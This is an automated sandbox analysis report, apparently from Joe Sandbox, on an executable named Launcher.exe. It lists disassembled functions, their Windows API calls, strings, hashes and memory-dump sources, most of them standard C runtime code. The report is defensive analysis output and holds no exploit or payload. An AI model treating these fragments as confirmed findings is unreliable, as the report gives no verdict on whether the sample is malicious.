Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 09ae086a67c02cb642978d3b601628b29419bccc41fa4b248cee0ea593942d04
Instruction ID: 0dec6fc831ae5a740df382a6d274d523caefd4f5fa8b825026c3ad9eca2a4673
Opcode Fuzzy Hash: 09ae086a67c02cb642978d3b601628b29419bccc41fa4b248cee0ea593942d04
Instruction Fuzzy Hash: 2831E37491122DABCB25DF28D889B8DBBB8BF08310F5041EAE41CA7251EB749F958F45

Function 00243D10 Relevance: 3.4, Strings: 1, Instructions: 2114COMMONLIBRARYCODE

Download Yara Rule

Strings

bz, xrefs: 002452AF

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID: bz
API String ID: 0-1364901316
Opcode ID: 3181cba82fe51e371b6e2665e700cc246e893efb932c58e38e20f6eda0be743f
Instruction ID: 9aef04edb884cebf8f8b90b94cd5b18609298c9e73b81024620c1a916d2d5c99
Opcode Fuzzy Hash: 3181cba82fe51e371b6e2665e700cc246e893efb932c58e38e20f6eda0be743f
Instruction Fuzzy Hash: 69F27C66A556D84FEF024AB884B93DF6FF14B2B330F6A2795C5E46F2D3C507010A9B60

Function 0023C530 Relevance: 3.3, Strings: 1, Instructions: 2002COMMON

Download Yara Rule

Strings

o\L, xrefs: 0023D45E

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID: o\L
API String ID: 0-3684436971
Opcode ID: af3e6e1920af11e58466661bbd8b7f5d9d1439846c08e17748811614577f0a20
Instruction ID: b8ed9a23bb0da359af94b8f1cf53e37bba53b4f6c0b4861fc8b0d2a4a5d0cffb
Opcode Fuzzy Hash: af3e6e1920af11e58466661bbd8b7f5d9d1439846c08e17748811614577f0a20
Instruction Fuzzy Hash: E3E2ED72E606944FEF014A7CC8B93DB6FE28B67331F2A279586B85F6D2C517010A9F40

Function 00256FF2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00256F4D,?,?,00000008,?,?,00256B1F,00000000), ref: 0025721F

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 3ad56efcbefbbc15fdc85473805c19e3b4646c6d653349cc312772a431238d87
Instruction ID: b51262cb2c0a28fc8bbf75c0faa68af09f01f07e2104d8604a6f17e46cf82808
Opcode Fuzzy Hash: 3ad56efcbefbbc15fdc85473805c19e3b4646c6d653349cc312772a431238d87
Instruction Fuzzy Hash: DCB18C311246099FD718CF28D48AB647BE1FF05366F29C658EC99CF2A1C335E9A6CB44

Function 0025174A Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00250827: HeapAlloc.KERNEL32(00000008,?,?,?,0024F077,00000001,00000364,?,00000006,000000FF,?,0024BE45,0025ED20,0000000C), ref: 00250868

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002518EB
FindNextFileW.KERNEL32(00000000,?), ref: 002519DF
FindClose.KERNEL32(00000000), ref: 00251A1E
FindClose.KERNEL32(00000000), ref: 00251A51

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 359c81166eac34ca610694828a250f89bbfee98514796215e668244280fe694b
Instruction ID: 87824f5d67301ceb156f93d3b198f1ede40dd23b1004c070741ed69595e7c6d3
Opcode Fuzzy Hash: 359c81166eac34ca610694828a250f89bbfee98514796215e668244280fe694b
Instruction Fuzzy Hash: FB517871910119AFDB24AF3C9C89BBEB7A9DF49305F144199FC1997201EB308DB98F68

Function 0024A220 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0024A236

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ae9764407804dfe65b35ad39d7ac936dabde00564b09492edc51e5aaa4cfb033
Instruction ID: bfb5a7130ffb7428ec8bc74e2c4397b15a668782ac8fc40ee1846da16a17be83
Opcode Fuzzy Hash: ae9764407804dfe65b35ad39d7ac936dabde00564b09492edc51e5aaa4cfb033
Instruction Fuzzy Hash: EE518EB192120A8FEB18CF58E8C57AABBF4FB44310F24C46AD401EB250E3B5AD60DF51

Function 0024A458 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001A580), ref: 0024A45D

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dcd4da236bf202a1b5ba59212af5d8fec7a24ec9d76f26cb0b3bf8c92f967323
Instruction ID: 66b7dfa34439bfd63f02696a1b538e7a582550a368ff7b4ff0075bd8cf095ff1
Opcode Fuzzy Hash: dcd4da236bf202a1b5ba59212af5d8fec7a24ec9d76f26cb0b3bf8c92f967323
Instruction Fuzzy Hash:

Function 0024EFB0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0024EFB0

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 00416735ebcf3dd5a84d2d75883ddddcdf9f345ece5d470c8b65780c641ddab6
Instruction ID: f2c2a4c729ff86ee8c29825392cf563d1cbe485670ce77afdf9e177f4b372e8c
Opcode Fuzzy Hash: 00416735ebcf3dd5a84d2d75883ddddcdf9f345ece5d470c8b65780c641ddab6
Instruction Fuzzy Hash: 69A00270A03301CF9B448F37FF0D34E3BE9BA466D270AC0AAE405C56B0EB74A9649B05

Function 00248270 Relevance: .7, Instructions: 669COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d886f539424a4e2e233bdad8d88b38f8d55dd63490c3fbd534e56d2bfc42fa4
Instruction ID: 483a3eaae91210f2ec2baf656466107309f1a48166a4b8b6e5227145217907d6
Opcode Fuzzy Hash: 0d886f539424a4e2e233bdad8d88b38f8d55dd63490c3fbd534e56d2bfc42fa4
Instruction Fuzzy Hash: DC22CF76AA46845FEF024A78C4A93CF6FF24B6B731F1E2759C9A06F3D2C557000A9B50

Function 002489D0 Relevance: .6, Instructions: 582COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c90ec59d0392991c29b7473d024c14d89b7a695b6536f770b58f902ef5e887f
Instruction ID: 82d16424d634a8d9474bb1adc0a870a40edba8c5d7f8ffa21f91a30c2b69e75b
Opcode Fuzzy Hash: 0c90ec59d0392991c29b7473d024c14d89b7a695b6536f770b58f902ef5e887f
Instruction Fuzzy Hash: C312D276E916844FEF018ABCC4A93DF7FE24B6B331F1A2766C5B46B2D2C557040A8B50

Function 00246030 Relevance: .5, Instructions: 544COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebbf3e3fc88a754bcb956657df80789eb1b9b6fa97a827e2594d7bec4eebfaf3
Instruction ID: c51d51c447004ad3a5ac0d9f00eb24a3b81b8ddc6d0fecdf59b18b81485c297c
Opcode Fuzzy Hash: ebbf3e3fc88a754bcb956657df80789eb1b9b6fa97a827e2594d7bec4eebfaf3
Instruction Fuzzy Hash: 1012B573E315145B8B08CEBDCC9559EB7F3AFD9334B2A8329A535EB2D4D67498018780

Function 00245780 Relevance: .5, Instructions: 499COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2487073f2e690843aa29184d3117aa1763c705603fd817ca9b3f0fa42605070
Instruction ID: cc428e6bbbdb4c533ff832b952a2e6669e43f1a0d1e9ffe2036b922a51e4d76a
Opcode Fuzzy Hash: d2487073f2e690843aa29184d3117aa1763c705603fd817ca9b3f0fa42605070
Instruction Fuzzy Hash: 24122A72E256188BDB14CEBCCC8169DB7F2AF48330F1A8769E579FB2D5D67099008B50

Function 00239EF0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5f7cd04b33e0a9132e0b3bef6098cbb3b2fb4e5cc80e4e5007cb7799f708fef
Instruction ID: 8abb7fd797eb7fbedd56d21e6f45d29fd48032db54c24519b0956467f1e29944
Opcode Fuzzy Hash: d5f7cd04b33e0a9132e0b3bef6098cbb3b2fb4e5cc80e4e5007cb7799f708fef
Instruction Fuzzy Hash: 1AD0923A645A59AFC310CF49E480D42F7B8FB8D670B158066EA0893B20C371FC11CAE0

Function 0024E0F3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0024E212
___TypeMatch.LIBVCRUNTIME ref: 0024E320
CatchIt.LIBVCRUNTIME ref: 0024E371
_UnwindNestedFrames.LIBCMT ref: 0024E472
CallUnexpected.LIBVCRUNTIME ref: 0024E48D

Strings

csm, xrefs: 0024E249
csm, xrefs: 0024E19D
csm, xrefs: 0024E130

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 6a64426c22ed22951a9f687519479c98a66b90b246364906340bb17bdcc85ebe
Instruction ID: 4f25a9ba881ee55c50086e0ab4af624d189658037e11b5a1ab2a09bc2ac49722
Opcode Fuzzy Hash: 6a64426c22ed22951a9f687519479c98a66b90b246364906340bb17bdcc85ebe
Instruction Fuzzy Hash: F8B15B71C2021AEFDF1DDFA4C8819AEBBB9FF14310B164199E8156B212D770EA61CF91

Function 00255328 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(02AEEC38,02AEEC38,00000000,7FFFFFFF,?,00255313,02AEEC38,02AEEC38,00000000,02AEEC38,?,?,?,?,02AEEC38,00000000), ref: 002553CE
__alloca_probe_16.LIBCMT ref: 00255489
__alloca_probe_16.LIBCMT ref: 00255518
__freea.LIBCMT ref: 00255563
__freea.LIBCMT ref: 00255569
__freea.LIBCMT ref: 0025559F
__freea.LIBCMT ref: 002555A5
__freea.LIBCMT ref: 002555B5

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 36a3ec1912e57d3ed3d36c0d5cb3d44f84dacc936d26c500031721c0c965daa4
Instruction ID: 3b3a2d71b746fbbd8d08fb114caf6aae75e32bf127da444333c8fba437cf58f8
Opcode Fuzzy Hash: 36a3ec1912e57d3ed3d36c0d5cb3d44f84dacc936d26c500031721c0c965daa4
Instruction Fuzzy Hash: 8E716A72920A26ABDF219F548CA1FAF77BA9F04313F680015EC05A7241F770DC688B9C

Function 0024B150 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0024B187
___except_validate_context_record.LIBVCRUNTIME ref: 0024B18F
_ValidateLocalCookies.LIBCMT ref: 0024B218
__IsNonwritableInCurrentImage.LIBCMT ref: 0024B243
_ValidateLocalCookies.LIBCMT ref: 0024B298

Strings

csm, xrefs: 0024B22D

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 9ea397c5b22dadf32c931760ea4ba5b3eeb4628c5d5a51706872386a277d9567
Instruction ID: a8d4e8c3af0d4f05676669fb5a35c8aa10af891cb80f6688eb36648ef88d28c6
Opcode Fuzzy Hash: 9ea397c5b22dadf32c931760ea4ba5b3eeb4628c5d5a51706872386a277d9567
Instruction Fuzzy Hash: 0941E634E20219ABCF19DF68C885A9E7BB4FF05324F148455EC19AB392D771EA21CF91

Function 0024D85A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0024D851,0024AF2D,0024A5C4), ref: 0024D868
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0024D876
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0024D88F
SetLastError.KERNEL32(00000000,0024D851,0024AF2D,0024A5C4), ref: 0024D8E1

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 12fc83a2706fab16b34c4a4de1a8f1b9639708304fa65bb2d59ecf184475ba1b
Instruction ID: 35e8a62abee9f7ada0ed02c6397c25bc9b1f3c77f3b59234ff0a4ec2d3c70c38
Opcode Fuzzy Hash: 12fc83a2706fab16b34c4a4de1a8f1b9639708304fa65bb2d59ecf184475ba1b
Instruction Fuzzy Hash: 6E01753223D7125EE6181F75BCC9A3F2B58DF427B57200229F510550E1EE618C756A84

Function 00251B74 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\Launcher.exe, xrefs: 00251B90

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\Launcher.exe
API String ID: 0-2114230883
Opcode ID: d9037501c78a2a2b4f55a72e737f76c0a0115f73dae90b8618e8c7a8233d3c8e
Instruction ID: 0492cafba340c34a7fb40d60e4d9beec81738385dff938eaad650a7068dcce02
Opcode Fuzzy Hash: d9037501c78a2a2b4f55a72e737f76c0a0115f73dae90b8618e8c7a8233d3c8e
Instruction Fuzzy Hash: 8821C07163020AAFCB20AF65DC81E6BB7ADAF0436B7104519FC1597151EB31EC388FA9

Function 0024BF74 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,58D485F2,?,?,00000000,0025760B,000000FF,?,0024C035,00000002,?,0024C0D1,0024D3C0), ref: 0024BFA9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0024BFBB
FreeLibrary.KERNEL32(00000000,?,?,00000000,0025760B,000000FF,?,0024C035,00000002,?,0024C0D1,0024D3C0), ref: 0024BFDD

Strings

mscoree.dll, xrefs: 0024BFA2
CorExitProcess, xrefs: 0024BFB3

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2dea49e25f10c28c8200b08be155c03bc2dbdb2ed6cfbdd7ee686686c2a0e5aa
Instruction ID: a4cc777649e287f6b8a6c3a6cb47fc47f9d6e0af4969ae93cb0da869a6bb8d0e
Opcode Fuzzy Hash: 2dea49e25f10c28c8200b08be155c03bc2dbdb2ed6cfbdd7ee686686c2a0e5aa
Instruction Fuzzy Hash: 0B01A231A54719AFDB068F54EC09FAEBBB8FB04B15F054125F816A2A90DB749904CE94

Function 00252F3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00252FC2
__alloca_probe_16.LIBCMT ref: 0025308B
